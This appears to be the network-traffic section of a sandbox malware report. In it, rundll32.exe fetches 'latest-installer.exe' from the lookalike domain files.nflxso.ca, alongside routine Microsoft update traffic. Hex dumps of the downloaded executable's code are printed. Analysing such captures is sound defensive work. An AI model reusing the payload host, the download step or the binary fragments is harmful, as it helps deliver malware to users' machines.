2024-05-01 09:08:19 UTC	1369	IN	Data Raw: 33 c0 5e c2 08 00 b8 ff ff ff 7f eb f5 8b 44 24 04 8b 0d 54 02 47 00 6a 00 ff 74 81 6c e8 69 ff ff ff c2 04 00 68 d8 e5 40 00 ff 74 24 08 e8 1f 40 00 00 c2 04 00 55 8b ec 81 ec d4 02 00 00 53 56 8b 75 08 57 a1 48 02 47 00 6a 07 59 8d 7d d4 f3 a5 8b 4d dc 8b 55 d4 bf 00 10 47 00 89 45 f8 8b 45 d8 33 db c1 e1 0e 03 cf 8b f0 89 4d f4 8d 4d d8 c1 e6 0e 89 0d 34 e6 41 00 8d 4a fe 03 f7 83 f9 43 89 5d fc 0f 87 3b 16 00 00 ff 24 8d d7 2a 40 00 53 50 e8 b8 3f 00 00 e9 5a 0e 00 00 ff 05 0c 82 46 00 39 5d f8 0f 84 4b 0e 00 00 53 ff 15 94 82 40 00 e9 3f 0e 00 00 50 e8 af fe ff ff 48 53 50 e8 c3 fe ff ff e9 05 16 00 00 53 50 e8 7e 3f 00 00 e9 ee 15 00 00 53 e8 42 17 00 00 83 f8 01 59 89 55 b4 7f 03 33 c0 40 50 ff 15 78 80 40 00 e9 d0 15 00 00 ff 75 f8 ff 15 64 82 40 Data Ascii: 3^D$TGjtlih@t$@USVuWHGjY}MUGEE3MM4AJC];$*@SP?ZF9]KS@?PHSPSP~?SBYU3@Px@ud@
2024-05-01 09:08:19 UTC	1369	IN	Data Raw: 01 e8 e4 12 00 00 50 e8 9b 4a 00 00 e9 2a 0c 00 00 6a 02 e8 b0 12 00 00 6a 03 89 45 b0 89 55 b4 e8 a3 12 00 00 59 8b f8 8b 45 b0 59 6a 01 89 7d cc 89 55 d0 89 45 08 e8 ae 12 00 00 50 89 45 c4 e8 62 4a 00 00 39 5d b4 66 89 1e 75 03 89 45 08 39 5d 08 0f 84 15 11 00 00 8b 4d cc 3b cb 7d 0b 8d 3c 08 3b fb 0f 8c 03 11 00 00 3b f8 7e 02 8b f8 8b 45 c4 8d 04 78 50 56 e8 13 4a 00 00 39 5d 08 7d 0e 56 e8 1e 4a 00 00 01 45 08 79 03 89 5d 08 8b 45 08 3d 00 20 00 00 0f 8d cf 10 00 00 66 89 1c 46 e9 c6 10 00 00 6a 20 e8 3b 12 00 00 6a 31 8b f0 e8 32 12 00 00 39 5d e8 50 56 75 12 ff 15 04 81 40 00 85 c0 75 7c 8b 45 e0 e9 a8 10 00 00 ff 15 1c 81 40 00 eb ec 33 ff 47 57 e8 08 12 00 00 68 00 20 00 00 56 50 89 45 08 ff 15 24 81 40 00 85 c0 74 13 39 5d e0 74 14 56 ff 75 08 Data Ascii: PJ*jjEUYEYj}UEPEbJ9]fuE9]M;}<;;~ExPVJ9]}VJEy]E= fFj ;j129]PVu@u\|E@3GWh VPE$@t9]tVu
2024-05-01 09:08:19 UTC	1369	IN	Data Raw: 84 8b 45 e4 89 45 98 66 8b 06 66 f7 d8 1b c0 89 5d 8c 23 c6 89 45 88 66 8b 07 66 f7 d8 1b c0 c7 45 94 00 90 4c 00 23 c7 89 45 90 8d 85 7c ff ff ff 50 e8 2d 3b 00 00 85 c0 0f 84 9c 09 00 00 f6 45 80 40 0f 84 cc 0b 00 00 ff 75 b4 e8 72 49 00 00 ff 75 b4 eb 47 53 e8 35 0d 00 00 8b f0 56 6a eb e8 3a 35 00 00 56 e8 b5 3a 00 00 8b f0 3b f3 0f 84 65 09 00 00 39 5d e0 74 21 56 e8 42 49 00 00 39 5d dc 7c 0b 50 ff 75 f4 e8 f0 43 00 00 eb 0b 3b c3 74 07 c7 45 fc 01 00 00 00 56 ff 15 20 81 40 00 e9 6d 0b 00 00 6a 02 e8 e2 0c 00 00 50 e8 c6 47 00 00 8b f8 3b fb 74 13 ff 77 14 ff 75 f4 e8 b9 43 00 00 ff 77 18 e9 ef f5 ff ff 8b 45 f4 66 89 1e 66 89 18 e9 ff 08 00 00 6a ee e8 ae 0c 00 00 8d 4d b4 89 45 d0 51 50 6a 09 e8 20 48 00 00 ff d0 8b f8 8b 45 f4 66 89 1e 3b fb 66 Data Ascii: EEff]#EffEL#E\|P-;E@urIuGS5Vj:5V:;e9]t!VBI9]\|PuC;tEV @mjPG;twuCwEffjMEQPj HEf;f
2024-05-01 09:08:19 UTC	1369	IN	Data Raw: 00 00 e8 c1 08 00 00 3b c3 89 45 08 0f 84 aa 06 00 00 33 c0 83 fe 01 bf d8 25 41 00 75 11 6a 23 e8 13 08 00 00 57 e8 ca 3f 00 00 8d 44 00 02 83 fe 04 75 12 6a 03 e8 db 07 00 00 59 a3 d8 25 41 00 56 89 55 d0 58 83 fe 03 75 0f 68 00 c0 00 00 57 53 ff 75 e4 e8 73 0d 00 00 50 57 ff 75 b4 53 ff 75 c4 ff 75 08 ff 15 28 80 40 00 85 c0 75 03 89 5d fc ff 75 08 e9 d3 00 00 00 68 19 00 02 00 e8 f3 07 00 00 6a 33 8b f8 e8 aa 07 00 00 3b fb 66 89 1e 0f 84 e9 03 00 00 8d 4d b4 c7 45 b4 00 40 00 00 51 8d 4d 08 56 51 53 50 57 ff 15 2c 80 40 00 33 c9 41 85 c0 75 2e 83 7d 08 04 74 13 39 4d 08 74 06 83 7d 08 02 75 1d 8b 45 e8 89 45 fc eb 74 ff 36 33 c0 39 5d e8 56 0f 94 c0 89 45 fc e8 41 3e 00 00 eb 66 66 89 1e 89 4d fc eb 5e 68 19 00 02 00 e8 7f 07 00 00 6a 03 8b f8 e8 14 Data Ascii: ;E3%Auj#W?DujY%AVUXuhWSusPWuSuu(@u]uhj3;fME@QMVQSPW,@3Au.}t9Mt}uEEt639]VEA>ffM^hj
2024-05-01 09:08:19 UTC	1369	IN	Data Raw: 08 e8 28 36 00 00 57 ff 15 28 81 40 00 53 53 ff 75 08 6a ff e8 5b 08 00 00 89 45 d0 ff 75 08 ff 15 20 81 40 00 39 5d d0 6a f3 5e 7d 13 6a ef 5e ff 75 c8 ff 15 40 81 40 00 c7 45 fc 01 00 00 00 56 e9 a3 f8 ff ff 53 e8 71 02 00 00 8b f8 59 3b 3d 8c 02 47 00 89 55 b4 0f 83 cb fe ff ff 8b f7 8b 45 e0 69 f6 18 40 00 00 03 35 88 02 47 00 3b c3 7c 19 8b 0c 86 75 11 83 c6 18 56 ff 75 f4 e8 02 3a 00 00 e9 da 00 00 00 51 eb 7a 83 c9 ff 2b c8 89 4d e0 74 10 6a 01 e8 20 02 00 00 59 89 55 b4 89 45 dc eb 10 ff 75 e8 8d 46 18 50 e8 f6 39 00 00 80 4e 09 01 8b 45 e0 8b 4d dc 89 0c 86 39 5d e4 0f 84 9b 00 00 00 57 e8 4d e7 ff ff e9 90 00 00 00 53 e8 e4 01 00 00 83 f8 20 59 89 55 b4 0f 83 43 fe ff ff 39 5d e4 74 25 39 5d e0 74 0f 50 e8 41 e8 ff ff 53 53 e8 90 e7 ff ff eb 64 Data Ascii: (6W(@SSuj[Eu @9]j^}j^u@@EVSqY;=GUEi@5G;\|uVu:Qz+Mtj YUEuFP9NEM9]WMS YUC9]t%9]tPASSd
2024-05-01 09:08:19 UTC	1369	IN	Data Raw: 42 00 74 08 56 e8 39 39 00 00 eb 66 ff 15 7c 80 40 00 3b 05 50 02 47 00 76 58 39 35 48 02 47 00 74 2d f6 05 14 03 47 00 01 74 47 e8 87 ff ff ff 50 8d 45 80 68 80 a0 40 00 50 ff 15 90 82 40 00 83 c4 0c 8d 45 80 50 56 e8 48 25 00 00 eb 23 56 68 f3 2d 40 00 56 6a 6f ff 35 40 02 47 00 ff 15 88 82 40 00 6a 05 50 a3 dc a6 42 00 ff 15 68 82 40 00 5e c9 c3 55 8b ec 81 ec 2c 02 00 00 53 56 33 db 57 89 5d fc 89 5d f8 ff 15 7c 80 40 00 be 00 d0 4d 00 68 00 20 00 00 05 e8 03 00 00 56 53 a3 50 02 47 00 ff 15 88 80 40 00 6a 03 68 00 00 00 80 56 e8 6b 2f 00 00 8b f8 83 ff ff 89 3d 18 a0 40 00 75 0a b8 b8 a2 40 00 e9 45 02 00 00 56 be 00 d0 4c 00 56 e8 52 34 00 00 56 e8 6d 2d 00 00 50 68 00 10 4e 00 e8 41 34 00 00 53 57 ff 15 84 80 40 00 3b c3 a3 e0 a6 42 00 8b f0 0f 8e Data Ascii: BtV99f\|@;PGvX95HGt-GtGPEh@P@EPVH%#Vh-@Vjo5@G@jPBh@^U,SV3W]]\|@Mh VSPG@jhVk/=@u@EVLVR4Vm-PhNA4SW@;B
2024-05-01 09:08:19 UTC	1369	IN	Data Raw: ff ff ff 53 53 50 ff 35 1c a0 40 00 ff 15 44 81 40 00 eb 0e 83 c8 ff eb 13 6a fe eb 02 6a fd 58 eb 0a 6a 01 e8 51 fa ff ff 59 33 c0 5f 5e 5d 5b c2 04 00 ff 74 24 08 ff 74 24 08 ff 35 18 a0 40 00 e8 07 2b 00 00 c2 08 00 6a 00 6a 00 ff 74 24 0c ff 35 18 a0 40 00 ff 15 44 81 40 00 c2 04 00 56 be 00 50 4d 00 56 e8 fc 31 00 00 56 e8 ae 28 00 00 85 c0 75 02 5e c3 56 e8 2b 28 00 00 56 e8 04 25 00 00 56 68 00 10 4d 00 e8 6a 2a 00 00 5e c3 81 ec d4 02 00 00 53 56 57 6a 20 5f 33 db 68 01 80 00 00 89 5c 24 14 c7 44 24 10 30 a2 40 00 89 5c 24 1c ff 15 ac 80 40 00 ff 15 a8 80 40 00 25 ff ff ff bf 66 3d 06 00 a3 4c 02 47 00 74 11 53 e8 d8 32 00 00 3b c3 74 07 68 00 0c 00 00 ff d0 be b0 82 40 00 56 e8 52 32 00 00 56 ff 15 50 81 40 00 8d 74 06 01 80 3e 00 75 ea 6a 0a e8 Data Ascii: SSP5@D@jjXjQY3_^][t$t$5@+jjt$5@D@VPMV1V(u^V+(V%VhMj*^SVWj _3h\$D$0@\$@@%f=LGtS2;th@VR2VP@t>uj
2024-05-01 09:08:19 UTC	1369	IN	Data Raw: 20 50 68 ec a2 40 00 53 ff 15 14 80 40 00 53 53 8d 44 24 24 53 50 53 ff 74 24 28 c7 44 24 34 01 00 00 00 c7 44 24 40 02 00 00 00 ff 15 00 80 40 00 6a 04 e8 1d 2e 00 00 3b c3 be 02 00 04 80 74 0c 56 6a 25 53 53 53 ff d0 85 c0 74 0d 56 6a 02 ff 15 4c 82 40 00 85 c0 75 07 6a 09 e8 3d da ff ff a1 0c 03 47 00 83 f8 ff 74 04 89 44 24 10 ff 74 24 10 ff 15 70 80 40 00 a1 18 a0 40 00 56 8b 35 20 81 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 18 a0 40 00 ff a1 1c a0 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 1c a0 40 00 ff e8 29 00 00 00 6a 07 68 00 90 4d 00 e8 d4 20 00 00 5e c3 56 8b 35 ec 66 43 00 eb 0a ff 74 24 08 ff 56 04 8b 36 59 85 f6 75 f2 5e c2 04 00 56 8b 35 ec 66 43 00 6a 00 e8 d7 ff ff ff 85 f6 74 1a 57 8b fe 8b 36 ff 77 08 ff 15 68 81 40 00 57 ff 15 28 81 40 00 85 f6 Data Ascii: Ph@S@SSD$$SPSt$(D$4D$@@j.;tVj%SSStVjL@uj=GtD$t$p@@V5 @tP@@tP@)jhM ^V5fCt$V6Yu^V5fCjtW6wh@W(@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2024-05-01 09:08:24 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-01 09:08:24 UTC	754	IN	HTTP/1.1 200 OK Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-CID: 7 X-CCC: US X-Azure-Ref-OriginShield: Ref A: 8BFC17DD061B46CAAD2B2AEB7B19C3D8 Ref B: CH1AA2040901011 Ref C: 2023-07-21T06:04:00Z X-MSEdge-Ref: Ref A: 1421F39FA7224BE199CC2F2C3DD24574 Ref B: CHI30EDGE0415 Ref C: 2023-07-21T06:04:00Z Content-Type: application/octet-stream X-Azure-Ref: 0DMGnYgAAAACXaXykPZuVRq4aV6pCkeO8U0pDRURHRTAzMTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=165312 Date: Wed, 01 May 2024 09:08:24 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2024-05-01 09:08:24 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-01 09:08:25 UTC	774	IN	HTTP/1.1 200 OK Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-CID: 7 X-CCC: US X-Azure-Ref-OriginShield: Ref A: 8BFC17DD061B46CAAD2B2AEB7B19C3D8 Ref B: CH1AA2040901011 Ref C: 2023-07-21T06:04:00Z X-MSEdge-Ref: Ref A: 1421F39FA7224BE199CC2F2C3DD24574 Ref B: CHI30EDGE0415 Ref C: 2023-07-21T06:04:00Z Content-Type: application/octet-stream X-Azure-Ref: 0DMGnYgAAAACXaXykPZuVRq4aV6pCkeO8U0pDRURHRTAzMTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=165311 Date: Wed, 01 May 2024 09:08:25 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-01 09:08:25 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-05-01 09:08:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=kPRasndGkvlenHk&MD=zHV46mV7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-01 09:08:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 11447ce3-14e3-4c41-8361-e1e388f1d3e5 MS-RequestId: 7ff7f84b-3ccb-473a-b50a-d1204e3c54a3 MS-CV: 4dBkJGHJZES/Pb4U.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 01 May 2024 09:08:24 GMT Connection: close Content-Length: 24490
2024-05-01 09:08:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-05-01 09:08:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49756	172.67.152.151	443	8660	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 09:08:28 UTC	179	OUT	GET /downloads/winapp/latest-installer.exe HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (Windows) WinHTTP/Gecko Chrome/9999999 Host: files.nflxso.ca
2024-05-01 09:08:28 UTC	703	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 09:08:28 GMT Content-Type: application/octet-stream Content-Length: 7055674 Connection: close last-modified: Wed, 23 Nov 2022 20:15:22 GMT etag: "637e7f5a-6ba93a" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 22 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UyKE%2FgNExIOZKL9UkwziU%2F9nZo6ZojExcv8%2Bp%2FVgWJTPBbj5EkHZ0rBgpWeqa4xwIYckngSYktq9FIAc5zxNOj4rmvviLzWB7dhYuKvXYYcVzHHoOkdxdl%2F4BJljLlUSRjs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87cea08ede8820c9-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 09:08:28 UTC	666	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 79 7f 15 5c 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 66 00 00 00 8a 06 00 00 40 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1PfPfPf_9PfPgLPf_;PfsVPf.V`PfRichPfPELy\f@
2024-05-01 09:08:28 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-05-01 09:08:28 UTC	1369	IN	Data Raw: 18 ff 15 18 82 40 00 85 f6 7d 92 33 c0 5e c2 08 00 b8 ff ff ff 7f eb f5 8b 44 24 04 8b 0d 54 02 47 00 6a 00 ff 74 81 6c e8 69 ff ff ff c2 04 00 68 d8 e5 40 00 ff 74 24 08 e8 1f 40 00 00 c2 04 00 55 8b ec 81 ec d4 02 00 00 53 56 8b 75 08 57 a1 48 02 47 00 6a 07 59 8d 7d d4 f3 a5 8b 4d dc 8b 55 d4 bf 00 10 47 00 89 45 f8 8b 45 d8 33 db c1 e1 0e 03 cf 8b f0 89 4d f4 8d 4d d8 c1 e6 0e 89 0d 34 e6 41 00 8d 4a fe 03 f7 83 f9 43 89 5d fc 0f 87 3b 16 00 00 ff 24 8d d7 2a 40 00 53 50 e8 b8 3f 00 00 e9 5a 0e 00 00 ff 05 0c 82 46 00 39 5d f8 0f 84 4b 0e 00 00 53 ff 15 94 82 40 00 e9 3f 0e 00 00 50 e8 af fe ff ff 48 53 50 e8 c3 fe ff ff e9 05 16 00 00 53 50 e8 7e 3f 00 00 e9 ee 15 00 00 53 e8 42 17 00 00 83 f8 01 59 89 55 b4 7f 03 33 c0 40 50 ff 15 78 80 40 00 e9 d0 Data Ascii: @}3^D$TGjtlih@t$@USVuWHGjY}MUGEE3MM4AJC];$*@SP?ZF9]KS@?PHSPSP~?SBYU3@Px@
2024-05-01 09:08:28 UTC	1369	IN	Data Raw: e8 a9 41 00 00 e9 6f 11 00 00 6a 01 e8 e4 12 00 00 50 e8 9b 4a 00 00 e9 2a 0c 00 00 6a 02 e8 b0 12 00 00 6a 03 89 45 b0 89 55 b4 e8 a3 12 00 00 59 8b f8 8b 45 b0 59 6a 01 89 7d cc 89 55 d0 89 45 08 e8 ae 12 00 00 50 89 45 c4 e8 62 4a 00 00 39 5d b4 66 89 1e 75 03 89 45 08 39 5d 08 0f 84 15 11 00 00 8b 4d cc 3b cb 7d 0b 8d 3c 08 3b fb 0f 8c 03 11 00 00 3b f8 7e 02 8b f8 8b 45 c4 8d 04 78 50 56 e8 13 4a 00 00 39 5d 08 7d 0e 56 e8 1e 4a 00 00 01 45 08 79 03 89 5d 08 8b 45 08 3d 00 20 00 00 0f 8d cf 10 00 00 66 89 1c 46 e9 c6 10 00 00 6a 20 e8 3b 12 00 00 6a 31 8b f0 e8 32 12 00 00 39 5d e8 50 56 75 12 ff 15 04 81 40 00 85 c0 75 7c 8b 45 e0 e9 a8 10 00 00 ff 15 1c 81 40 00 eb ec 33 ff 47 57 e8 08 12 00 00 68 00 20 00 00 56 50 89 45 08 ff 15 24 81 40 00 85 c0 Data Ascii: AojPJ*jjEUYEYj}UEPEbJ9]fuE9]M;}<;;~ExPVJ9]}VJEy]E= fFj ;j129]PVu@u\|E@3GWh VPE$@
2024-05-01 09:08:28 UTC	1369	IN	Data Raw: 8b 45 e8 89 45 80 8b 45 f8 89 45 84 8b 45 e4 89 45 98 66 8b 06 66 f7 d8 1b c0 89 5d 8c 23 c6 89 45 88 66 8b 07 66 f7 d8 1b c0 c7 45 94 00 90 4c 00 23 c7 89 45 90 8d 85 7c ff ff ff 50 e8 2d 3b 00 00 85 c0 0f 84 9c 09 00 00 f6 45 80 40 0f 84 cc 0b 00 00 ff 75 b4 e8 72 49 00 00 ff 75 b4 eb 47 53 e8 35 0d 00 00 8b f0 56 6a eb e8 3a 35 00 00 56 e8 b5 3a 00 00 8b f0 3b f3 0f 84 65 09 00 00 39 5d e0 74 21 56 e8 42 49 00 00 39 5d dc 7c 0b 50 ff 75 f4 e8 f0 43 00 00 eb 0b 3b c3 74 07 c7 45 fc 01 00 00 00 56 ff 15 20 81 40 00 e9 6d 0b 00 00 6a 02 e8 e2 0c 00 00 50 e8 c6 47 00 00 8b f8 3b fb 74 13 ff 77 14 ff 75 f4 e8 b9 43 00 00 ff 77 18 e9 ef f5 ff ff 8b 45 f4 66 89 1e 66 89 18 e9 ff 08 00 00 6a ee e8 ae 0c 00 00 8d 4d b4 89 45 d0 51 50 6a 09 e8 20 48 00 00 ff d0 Data Ascii: EEEEEEff]#EffEL#E\|P-;E@urIuGS5Vj:5V:;e9]t!VBI9]\|PuC;tEV @mjPG;twuCwEffjMEQPj H
2024-05-01 09:08:28 UTC	1369	IN	Data Raw: 00 00 6a 02 50 57 c7 45 fc 01 00 00 00 e8 c1 08 00 00 3b c3 89 45 08 0f 84 aa 06 00 00 33 c0 83 fe 01 bf d8 25 41 00 75 11 6a 23 e8 13 08 00 00 57 e8 ca 3f 00 00 8d 44 00 02 83 fe 04 75 12 6a 03 e8 db 07 00 00 59 a3 d8 25 41 00 56 89 55 d0 58 83 fe 03 75 0f 68 00 c0 00 00 57 53 ff 75 e4 e8 73 0d 00 00 50 57 ff 75 b4 53 ff 75 c4 ff 75 08 ff 15 28 80 40 00 85 c0 75 03 89 5d fc ff 75 08 e9 d3 00 00 00 68 19 00 02 00 e8 f3 07 00 00 6a 33 8b f8 e8 aa 07 00 00 3b fb 66 89 1e 0f 84 e9 03 00 00 8d 4d b4 c7 45 b4 00 40 00 00 51 8d 4d 08 56 51 53 50 57 ff 15 2c 80 40 00 33 c9 41 85 c0 75 2e 83 7d 08 04 74 13 39 4d 08 74 06 83 7d 08 02 75 1d 8b 45 e8 89 45 fc eb 74 ff 36 33 c0 39 5d e8 56 0f 94 c0 89 45 fc e8 41 3e 00 00 eb 66 66 89 1e 89 4d fc eb 5e 68 19 00 02 00 Data Ascii: jPWE;E3%Auj#W?DujY%AVUXuhWSusPWuSuu(@u]uhj3;fME@QMVQSPW,@3Au.}t9Mt}uEEt639]VEA>ffM^h
2024-05-01 09:08:28 UTC	1369	IN	Data Raw: 15 28 81 40 00 ff 75 c4 57 ff 75 08 e8 28 36 00 00 57 ff 15 28 81 40 00 53 53 ff 75 08 6a ff e8 5b 08 00 00 89 45 d0 ff 75 08 ff 15 20 81 40 00 39 5d d0 6a f3 5e 7d 13 6a ef 5e ff 75 c8 ff 15 40 81 40 00 c7 45 fc 01 00 00 00 56 e9 a3 f8 ff ff 53 e8 71 02 00 00 8b f8 59 3b 3d 8c 02 47 00 89 55 b4 0f 83 cb fe ff ff 8b f7 8b 45 e0 69 f6 18 40 00 00 03 35 88 02 47 00 3b c3 7c 19 8b 0c 86 75 11 83 c6 18 56 ff 75 f4 e8 02 3a 00 00 e9 da 00 00 00 51 eb 7a 83 c9 ff 2b c8 89 4d e0 74 10 6a 01 e8 20 02 00 00 59 89 55 b4 89 45 dc eb 10 ff 75 e8 8d 46 18 50 e8 f6 39 00 00 80 4e 09 01 8b 45 e0 8b 4d dc 89 0c 86 39 5d e4 0f 84 9b 00 00 00 57 e8 4d e7 ff ff e9 90 00 00 00 53 e8 e4 01 00 00 83 f8 20 59 89 55 b4 0f 83 43 fe ff ff 39 5d e4 74 25 39 5d e0 74 0f 50 e8 41 e8 Data Ascii: (@uWu(6W(@SSuj[Eu @9]j^}j^u@@EVSqY;=GUEi@5G;\|uVu:Qz+Mtj YUEuFP9NEM9]WMS YUC9]t%9]tPA
